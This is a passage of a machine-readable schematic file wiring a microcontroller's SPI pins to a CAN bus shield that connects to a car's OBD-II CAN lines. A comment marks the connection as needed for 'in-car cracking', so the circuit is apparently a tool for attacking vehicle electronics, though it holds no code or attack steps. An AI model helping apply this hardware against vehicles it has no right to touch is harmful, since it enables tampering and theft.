h -20~#880000^^1~343~-417~0~A0/14~end~~~#0000FF^^1~350~-421~0~21~start~~~#0000FF^^0~348~-420^^0~M 345 -423 L 342 -420 L 345 -417#@$P~show~0~13~365~-400~0~gge7456~0^^365~-400^^M 365 -400 h -20~#880000^^1~343~-397~0~SCK/LED/13~end~~~#0000FF^^1~350~-401~0~20~start~~~#0000FF^^0~348~-400^^0~M 345 -403 L 342 -400 L 345 -397#@$P~show~0~12~165~-400~180~gge7463~0^^165~-400^^M 165 -400 h 20~#880000^^1~187~-397~0~12/MISO~start~~~#0000FF^^1~180~-401~0~14~end~~~#0000FF^^0~182~-400^^0~M 185 -397 L 188 -400 L 185 -403#@$P~show~0~11~165~-420~180~gge7470~0^^165~-420^^M 165 -420 h 20~#880000^^1~187~-417~0~11/MOSI~start~~~#0000FF^^1~180~-421~0~13~end~~~#0000FF^^0~182~-420^^0~M 185 -417 L 188 -420 L 185 -423#@$P~show~0~10~165~-440~180~gge7477~0^^165~-440^^M 165 -440 h 20~#880000^^1~187~-437~0~10/CS~start~~~#0000FF^^1~180~-441~0~12~end~~~#0000FF^^0~182~-440^^0~M 185 -437 L 188 -440 L 185 -443#@$P~show~0~9~165~-460~180~gge7484~0^^165~-460^^M 165 -460 h 20~#880000^^1~187~-457~0~9~start~~~#0000FF^^1~180~-461~0~11~end~~~#0000FF^^0~182~-460^^0~M 185 -457 L 188 -460 L 185 -463#@$P~show~0~8~165~-480~180~gge7491~0^^165~-480^^M 165 -480 h 20~#880000^^1~187~-477~0~8~start~~~#0000FF^^1~180~-481~0~10~end~~~#0000FF^^0~182~-480^^0~M 185 -477 L 188 -480 L 185 -483#@$P~show~0~7~165~-500~180~gge7498~0^^165~-500^^M 165 -500 h 20~#880000^^1~187~-497~0~7~start~~~#0000FF^^1~180~-501~0~9~end~~~#0000FF^^0~182~-500^^0~M 185 -497 L 188 -500 L 185 -503#@$P~show~0~6~165~-520~180~gge7505~0^^165~-520^^M 165 -520 h 20~#880000^^1~187~-517~0~6~start~~~#0000FF^^1~180~-521~0~8~end~~~#0000FF^^0~182~-520^^0~M 185 -517 L 188 -520 L 185 -523#@$P~show~0~5~165~-540~180~gge7512~0^^165~-540^^M 165 -540 h 20~#880000^^1~187~-537~0~5~start~~~#0000FF^^1~180~-541~0~7~end~~~#0000FF^^0~182~-540^^0~M 185 -537 L 188 -540 L 185 -543#@$P~show~0~4~165~-560~180~gge7519~0^^165~-560^^M 165 -560 h 20~#880000^^1~187~-557~0~4~start~~~#0000FF^^1~180~-561~0~6~end~~~#0000FF^^0~182~-560^^0~M 185 -557 L 188 -560 L 185 -563#@$P~show~0~3~165~-580~180~gge7526~0^^165~-580^^M 165 -580 h 20~#880000^^1~187~-577~0~3~start~~~#0000FF^^1~180~-581~0~5~end~~~#0000FF^^0~182~-580^^0~M 185 -577 L 188 -580 L 185 -583#@$P~show~0~2~165~-600~180~gge7533~0^^165~-600^^M 165 -600 h 20~#880000^^1~187~-597~0~2~start~~~#0000FF^^1~180~-601~0~4~end~~~#0000FF^^0~182~-600^^0~M 185 -597 L 188 -600 L 185 -603#@$P~show~0~1~165~-620~180~gge7540~0^^165~-620^^M 165 -620 h 20~#880000^^1~187~-617~0~1~start~~~#0000FF^^1~180~-621~0~3~end~~~#0000FF^^0~182~-620^^0~M 185 -617 L 188 -620 L 185 -623#@$P~show~0~1~165~-640~180~gge7547~0^^165~-640^^M 165 -640 h 20~#880000^^1~187~-637~0~0~start~~~#0000FF^^1~180~-641~0~2~end~~~#0000FF^^0~182~-640^^0~M 185 -637 L 188 -640 L 185 -643#@$P~show~0~1~165~-660~180~gge7554~0^^165~-660^^M 165 -660 h 20~#880000^^1~187~-657~0~GND~start~~~#0000FF^^1~180~-661~0~1~end~~~#0000FF^^0~182~-660^^0~M 185 -657 L 188 -660 L 185 -663", 37 | "W~535 -595 490 -595 490 -325 105 -325 105 -420 165 -420~#008800~1~0~none~gge7766~0", 38 | "W~535 -585 470 -585 470 -365 145 -365 145 -400 165 -400~#008800~1~0~none~gge7768~0", 39 | "W~165 -600 145 -600 145 -725 745 -725 745 -640 745 -555 765 -555~#008800~1~0~none~gge7769~0", 40 | "W~765 -515 420 -515 420 -660 365 -660~#008800~1~0~none~gge7770~0", 41 | "W~765 -535 440 -535 440 -640 365 -640~#008800~1~0~none~gge7771~0", 42 | "W~365 -400 700 -400 700 -615 765 -615~#008800~1~0~none~gge7772~0", 43 | "W~655 -605 670 -605 670 -535~#008800~1~0~none~gge7773~0", 44 | "W~535 -605 510 -605 510 -535~#008800~1~0~none~gge7775~0", 45 | "W~535 -615 455 -615 455 -620 365 -620~#008800~1~0~none~gge7777~0", 46 | "W~655 -615 685 -615 685 -515~#008800~1~0~none~gge7778~0", 47 | "W~535 -635 530 -635 530 -710 105 -710 105 -560 165 -560~#008800~1~0~none~gge7781~0", 48 | "W~925 -575 1005 -575~#008800~1~0~none~gge7789~0", 49 | "W~1005 -555 965 -555~#008800~1~0~none~gge7790~0", 50 | "T~L~1010~-565~0~#0000FF~~9pt~~~~comment~To OBD-II CAN-HS~1~start~gge7792~0~pinpart", 51 | "LIB~850~-235~package`CAN_BUS_SHIELD_8MHZ`BOM_Manufacturer``BOM_Manufacturer Part``BOM_Supplier Part``BOM_Supplier``link``Contributor`Christer_A`spicePre`U`~~0~gge778b54bf753fa61a~ac1ee8ee372f4699b92c20a1b2d0db33~e8820a3734b842dfbeeb5138c4be1468~0~520f89971a14b47d~yes~yes~~~#@$T~N~844.17~-318~0~#000080~Arial~~~~~comment~CAN-HS~1~start~gge7800~0~pinpart#@$T~P~844.17~-327.33~0~#000080~Arial~~~~~comment~U1~1~start~gge7802~0~pinpart#@$R~790~-315~~~120~160~#000000~1~0~none~gge7804~0~#@$P~show~0~1~770~-295~180~gge7805~0^^770~-295^^M 770 -295 h 20~#880000^^1~792~-292~0~INT~start~~~#0000FF^^1~785~-296~0~1~end~~~#0000FF^^0~787~-295^^0~M 790 -292 L 793 -295 L 790 -298#@$P~show~0~2~770~-275~180~gge7812~0^^770~-275^^M 770 -275 h 20~#880000^^1~792~-272~0~SCK~start~~~#0000FF^^1~785~-276~0~2~end~~~#0000FF^^0~787~-275^^0~M 790 -272 L 793 -275 L 790 -278#@$P~show~0~3~770~-255~180~gge7819~0^^770~-255^^M 770 -255 h 20~#880000^^1~792~-252~0~MOSI~start~~~#0000FF^^1~785~-256~0~3~end~~~#0000FF^^0~787~-255^^0~M 790 -252 L 793 -255 L 790 -258#@$P~show~0~4~770~-235~180~gge7826~0^^770~-235^^M 770 -235 h 20~#880000^^1~792~-232~0~MISO~start~~~#0000FF^^1~785~-236~0~4~end~~~#0000FF^^0~787~-235^^0~M 790 -232 L 793 -235 L 790 -238#@$P~show~0~5~770~-215~180~gge7833~0^^770~-215^^M 770 -215 h 20~#880000^^1~792~-212~0~CS~start~~~#0000FF^^1~785~-216~0~5~end~~~#0000FF^^0~787~-215^^0~M 790 -212 L 793 -215 L 790 -218#@$P~show~0~6~770~-195~180~gge7840~0^^770~-195^^M 770 -195 h 20~#880000^^1~792~-192~0~GND~start~~~#0000FF^^1~785~-196~0~6~end~~~#0000FF^^0~787~-195^^0~M 790 -192 L 793 -195 L 790 -198#@$P~show~0~7~770~-175~180~gge7847~0^^770~-175^^M 770 -175 h 20~#880000^^1~792~-172~0~VCC~start~~~#0000FF^^1~785~-176~0~7~end~~~#0000FF^^0~787~-175^^0~M 790 -172 L 793 -175 L 790 -178#@$P~show~0~8~930~-235~0~gge7854~0^^930~-235^^M 930 -235 h -20~#880000^^1~908~-232~0~CAN H~end~~~#0000FF^^1~915~-236~0~8~start~~~#0000FF^^0~913~-235^^0~M 910 -238 L 907 -235 L 910 -232#@$P~show~0~9~930~-215~0~gge7861~0^^930~-215^^M 930 -215 h -20~#880000^^1~908~-212~0~CAN L~end~~~#0000FF^^1~915~-216~0~9~start~~~#0000FF^^0~913~-215^^0~M 910 -218 L 907 -215 L 910 -212#@$T~L~852.02~-162.75~270~#0000FF~~9pt~~~~comment~CAN BUS SHIELD 8MHz~1~start~gge7868~0~pinpart", 52 | "W~770 -195 670 -195 670 -535~#008800~1~0~none~gge7870~0", 53 | "W~770 -175 685 -175 685 -515~#008800~1~0~none~gge7871~0", 54 | "W~770 -215 85 -215 85 -580 165 -580~#008800~1~0~none~gge7872~0", 55 | "W~770 -275 700 -275 700 -400~#008800~1~0~none~gge7873~0", 56 | "W~770 -235 715 -235 715 -575~#008800~1~0~none~gge7879~0", 57 | "W~770 -255 730 -255 730 -595~#008800~1~0~none~gge7882~0", 58 | "W~1010 -215 930 -215~#008800~1~0~none~gge7885~0", 59 | "W~930 -235 1010 -235~#008800~1~0~none~gge7886~0", 60 | "T~L~1015~-225~0~#0000FF~~9pt~~~~comment~To OBD-II CAN-LS~1~start~gge7887~0~pinpart", 61 | "R~640~-340~~~490~230~#000000~1~0~none~gge7890~0~", 62 | "T~L~645~-120~0~#0000FF~~9pt~~~~comment~Optional, only needed for in-car cracking. On-bench cracking does not need it~1~start~gge7891~0~pinpart", 63 | "F~part_netLabel_+5V~420~-745~0~gge7893~~0^^420~-745^^+5V~#000000~410~-757~0~start~1~Times New Roman~9pt~flag_gge358^^PL~420 -755 420 -745~#000000~1~0~transparent~gge7897~0^^PL~415 -755 425 -755~#000000~1~0~transparent~gge7898~0", 64 | "W~420 -745 420 -660~#008800~1~0~none~gge7905~0", 65 | "F~part_netLabel_gnD~440~-185~0~gge7907~~0^^440~-185^^GND~#000000~427~-159~0~start~1~Times New Roman~9pt~flag_gge361^^PL~440 -175 440 -185~#000000~1~0~transparent~gge7911~0^^PL~431 -175 449 -175~#000000~1~0~transparent~gge7912~0^^PL~434 -173 446 -173~#000000~1~0~transparent~gge7913~0^^PL~437 -171 443 -171~#000000~1~0~transparent~gge7914~0^^PL~439 -169 441 -169~#000000~1~0~transparent~gge7915~0", 66 | "W~440 -185 440 -535~#008800~1~0~none~gge7925~0", 67 | "W~1005 -420 670 -420~#008800~1~0~none~gge7933~0", 68 | "T~L~1015~-420~0~#0000FF~~9pt~~~~comment~To OBD-II GND~1~start~gge7935~0~pinpart", 69 | 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